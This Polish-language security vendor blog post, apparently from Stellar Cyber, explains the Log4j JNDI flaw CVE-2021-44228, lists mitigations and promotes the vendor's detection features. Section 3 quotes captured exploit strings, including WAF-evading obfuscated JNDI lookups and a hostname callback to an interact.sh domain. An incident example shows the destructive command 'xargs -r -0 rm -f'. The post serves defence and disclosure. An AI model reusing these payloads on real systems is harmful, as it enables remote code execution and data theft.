Stellar Cyber: Log4j podatność i wykrywanie wykorzystania

1. Wstęp

W ciągu ostatnich kilku dni poważna luka w zabezpieczeniach Log4j ( CVE-2021-44228 , CVE-2021-45046 ) niemal doprowadziła do prawdziwej burzy w świecie internetu. Log4j, powszechnie używane narzędzie do logowania w Javie, z łatwą do wykorzystania luką, niewątpliwie wzbudziło niepokój specjalistów IT i firm, a także wywołało wiele pytań: Czym jest ta luka? Jak mogę sprawdzić, czy nasz system jest podatny na ataki? Czy moja infrastruktura IT została już naruszona? Co mogę zrobić, aby zapobiec przyszłym atakom wykorzystującym tę lukę?

W Stellar Cyber ​​uważnie monitorujemy sytuację i jesteśmy tutaj, aby dostarczać nasze wskazówki i porady naszym obecnym i potencjalnym klientom i partnerom, gdy przebrną przez niepewność spowodowaną przez tę lukę Log4j.

2. Wpływ i łagodzenie

Zgodnie z CVE-2021-44228 , luka dotyczy wszystkich wersji Apache Log4j2 starszych niż 2.15.0, ze względu na niesprawdzoną interpolację ciągu znaków z wykorzystaniem wyszukiwania w Java Naming and Directory Interface (JNDI). Atakujący, który ma wiedzę umożliwiającą wstrzykiwanie danych do komunikatów dziennika, może stworzyć i wstrzyknąć specjalnie sformatowane wyrażenie interpolacji JNDI, aby załadować i wykonać dowolny kod z określonego punktu końcowego JNDI (np. serwera LDAP), gdy wyrażenie interpolacji jest analizowane przez Log4j.

Oczekuje się, że wpływ tej luki będzie szeroki ze względu na powszechne wykorzystanie Log4j w wielu popularnych aplikacjach i łatwą podatność na jej wykorzystanie. Społeczność zajmująca się bezpieczeństwem śledziła strony internetowe, oprogramowanie, komponenty open source i innych producentów korzystających z Log4j i potwierdziła, że ​​nawet niektóre duże firmy były podatne na atak.

Aby zminimalizować tę lukę, zalecamy naszym klientom i partnerom aktualizację istniejącego Log4j do wersji 2.15.0, w której zachowanie związane z JNDI jest domyślnie wyłączone. Jeśli natychmiastowa aktualizacja nie jest możliwa, innym sposobem na ograniczenie ryzyka jest ustawienie właściwości systemowej log4j2.formatMsgNoLookups na true (dotyczy wersji 2.10 i nowszych) lub usunięcie klasy JndiLookup ze ścieżki klas (dotyczy wersji Log4j starszych niż 2.10 za pomocą polecenia zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ).

Ponadto zalecamy, aby nasi klienci i partnerzy zaktualizowali istniejącą Javę do wersji co najmniej 6u211, 7u201, 8u191 lub 11.0.1, w której zdalne ładowanie klas JNDI jest domyślnie wyłączone.

W przypadku określonych aplikacji korzystających z Log4j, których dotyczy ta luka, należy skontaktować się z dostawcami oprogramowania, aby jak najszybciej zastosować odpowiednie poprawki.

3. Szczegóły techniczne

W przypadku luki CVE-2021-44228 występują dwie istotne i istotne części, które stanowią lukę w zabezpieczeniach: Java Naming and Directory Interface (JNDI) z funkcjonalnością zdalnego wywoływania metod oraz obsługa interpolacji dziennika za pomocą wyszukiwania JNDI przez Log4j.

Interfejs Java Naming and Directory Interface (JNDI, rysunek 1) to stara, ale wciąż użyteczna funkcja, pochodząca jeszcze z Javy 2 v1.3. Zapewnia on funkcjonalność nazewnictwa i katalogowania w aplikacjach Java, dzięki czemu aplikacja może wywoływać przez JNDI różnych dostawców usług, takich jak Lightweight Directory Access Protocol (LDAP). Na przykład, aplikacja Java może przekazać adres URL ldap://some-ldap-server:389/o=SomeObjectID przez JNDI do obsługiwanego serwera LDAP some-ldap-server , aby znaleźć i wywołać zdalny obiekt SomeObject.

Na Log4j z boku, obsługa wyszukiwania JNDI została po raz pierwszy wprowadzona w wersji 2.0 w 2013 roku, zgodnie z życzeniem użytkowników w celu uzyskania zaawansowanych funkcji rejestrowania. Od tego czasu Log4j umożliwił programistom używanie interpolacji ciągów z JNDI w komunikatach dziennika. Na przykład można napisać logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), Log4j oceni wyrażenie interpolacji i odpowiednio wywoła JNDI w celu pobrania danych, które tworzą komunikat dziennika, ze zdalnego serwera.

Wreszcie, osiem lat później, 30 listopada 2021 roku, zespół Log4j dowiedział się o luce w zabezpieczeniach umożliwiającej zdalne wykonanie kodu, będącej wynikiem połączenia interpolacji logów z wyszukiwaniem JNDI. Tydzień później niemal wszyscy w społeczności zajmującej się bezpieczeństwem i branży IT dowiedzieli się o tym i zaczęli panikować.

Konsekwencje tej luki byłyby szczególnie złe nie tylko dlatego, że Log4j jest tak szeroko stosowany, ale także dlatego, że ludzie używają Log4j w sposób, który jest zbyt doskonały i zbyt łatwy do wykorzystania przez atakujących.

Jak widać na powyższym przykładzie logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), aby skutecznie wykorzystać tę lukę, osoba atakująca musi wiedzieć, jaki rodzaj wstrzykniętych danych zostanie ostatecznie gdzieś zarejestrowany przez system ofiary przy użyciu Log4j. W rzeczywistości jest to słaby owoc dla wszystkich atakujących, którzy mają minimalną znajomość nowoczesnych aplikacji sieciowych, w których powszechną praktyką jest rejestrowanie każdego żądania, w tym adresu URL, ciągu zapytania i agenta użytkownika.

W Stellar Cyber ​​monitorujemy próby wykorzystania exploitów podejmowane wobec naszych klientów i partnerów w zeszłym tygodniu. Nasze oparte na uczeniu maszynowym wykrywanie anomalii klienta użytkownika już wykryło nietypowe ciągi agenta użytkownika, takie jak:

• ${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}
• ${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}
• ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}

Wśród tych próbek okazuje się, że osoby atakujące badały różne sposoby wykorzystania luki – nie tylko przy użyciu formy waniliowej, ale także wymyślając różne warianty w celu uniknięcia opartych na regułach zapór sieciowych aplikacji internetowych, które próbują dopasować ${jndi:ldap*.

Choć nie jest znany żaden przypadek, aby atakujący wykorzystali tę lukę i spowodowali poważne konsekwencje, należy zauważyć, że nawet proste badanie, np. próba wykorzystania luki za pomocą DNSLog w celu sprawdzenia, czy system docelowy jest podatny na ataki, może być szkodliwe, ponieważ atakujący mogą w tym momencie gromadzić przyszłe zasoby.

4. Jak Stellar Cyber ​​może pomóc?

W Stellar Cyber ​​zapewniamy naszym klientom i partnerom wiele narzędzi do obrony przed atakami wykorzystującymi CVE-2021-44228.
Za pośrednictwem naszego dostawcy analizy zagrożeń Stellar Cyber ​​Security Sensor (SDS) ma już aktualne sygnatury do wykrywania typowych zastosowań CVE-2021-44228.

4.1 Alarmy gwiezdne dotyczące wykrycia eksploatowania

Obecnie oferujemy następujące typy alertów, które wykrywają nową sygnaturę IDS lub wzrost liczby sygnatur IDS:

• – Anomalia wykorzystania publicznego na prywatny
• – Anomalia wykorzystania prywatnego do publicznego
• – Anomalia wykorzystania prywatnego do prywatnego
• – Anomalia wykorzystania publicznego do publicznego

Uważaj na te alerty za pomocą "log4j" w opisie alertu lub ids.signature pole.

4.2 ATH do śledzenia dopasowanych sygnatur Apache Log4j

Jeśli chcesz śledzić wszystkie wystąpienia pasujących sygnatur Apache Log4j, możesz rozważyć utworzenie następujących reguł (Uwaga: może to spowodować dużą liczbę alertów):

• - Szukaj Zdarzenia piaskownicy ML-IDS/złośliwego oprogramowania indeks z zapytaniem ids.signature: log4j.

4.3 Rozpoznawanie adresów URL i wykrywanie anomalii w agentach użytkownika

W sytuacji, gdy atakujący badają różne warianty wykorzystania, nasze wykrywanie anomalii oparte na sztucznej inteligencji (Rysunek 2) pomaga również wykrywać próby pośrednie lub nietypowe.

W niektórych adresach URL znajdujemy kilka pośrednich prób wykorzystania luki w zabezpieczeniach przez aplikacje internetowe Java za pomocą narzędzia URL Reconnaissance Anomaly Detection przy użyciu Log4j. Takie próby zwykle wiązałyby się ze skanowaniem przez atakującego stron, które mógłby wykorzystać, prowadząc do nietypowej liczby błędów HTTP 4xx, które można wykryć za pomocą funkcji wykrywania anomalii w ramach rozpoznawania adresów URL.

Ponieważ, zgodnie z naszymi obserwacjami, ciągi User-Agent są głównym sposobem wykorzystywania, nasze wykrywanie anomalii User Agent jest również użytecznym narzędziem. Wykrywa ciągi User-Agent, które nigdy wcześniej nie były widziane lub były widziane bardzo rzadko, dzięki czemu jest w stanie zapewnić dodatkową ochronę przed rosnącym trendem wykorzystywania.

Szukać "log4j" bezpośrednio we wszystkich alertach może być uzasadnione. (Uwaga: to bardzo kosztowne zapytanie, nie próbuj na surowych danych, które mogą prowadzić do przeciążenia jeziora danych).

4.4 Korelacja incydentów

Próba wykorzystania CVE-2021-44228 może być po prostu pojedynczą akcją skutkującą pojedynczym alertem z naszych wykryć. W celu dalszego badania i śledzenia potencjalnych trwających ataków związanych z łatwym do wykorzystania Log4j, zapewniamy dodatkową funkcję Incydenty (Rysunek 3), aby skorelować zestaw wielu skorelowanych alertów i podmiotów składających się na potencjalny ujednolicony atak (tj. incydent). dla lepszej widoczności zabezpieczeń i możliwości zarządzania. Korzystamy z możliwości uczenia maszynowego, aby automatycznie generować incydenty, grupując powiązane alerty w ujednolicony incydent w celu lepszego rozwiązania ataku.

Jak widać na rysunku 4, który pokazuje szczegółowy widok osi czasu incydentu z CVE-2021-44228 nasza korelacja incydentów automatycznie zestawia trzy wysoce skorelowane alerty z trzech różnych wykryć, uporządkowanych według czasu ich wystąpienia: najpierw anomalia User-Agent, w której atakujący próbował wstrzyknąć złośliwy ciąg User-Agent od 10.11.191.95 do 10.11.190.88, po którym nastąpiło nieprawidłowe odradzanie się procesu wykryte 10.11.190.88, a kończące się anomalią polecenia wykonującą niebezpieczne polecenie xargs -r -0 rm -f.

5. Wnioski

W tym poście podzieliliśmy się naszymi daniami na wynos CVE-2021-44228 i zaoferowaliśmy porady naszym obecnym i potencjalnym klientom i partnerom, a także pokazaliśmy, jak Stellar Cyber ​​może przyjść z pomocą w tym niepewnym okresie. Jako ostatnie przypomnienie, pamiętaj o zaktualizowaniu oprogramowania, którego dotyczy problem, w tym: Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).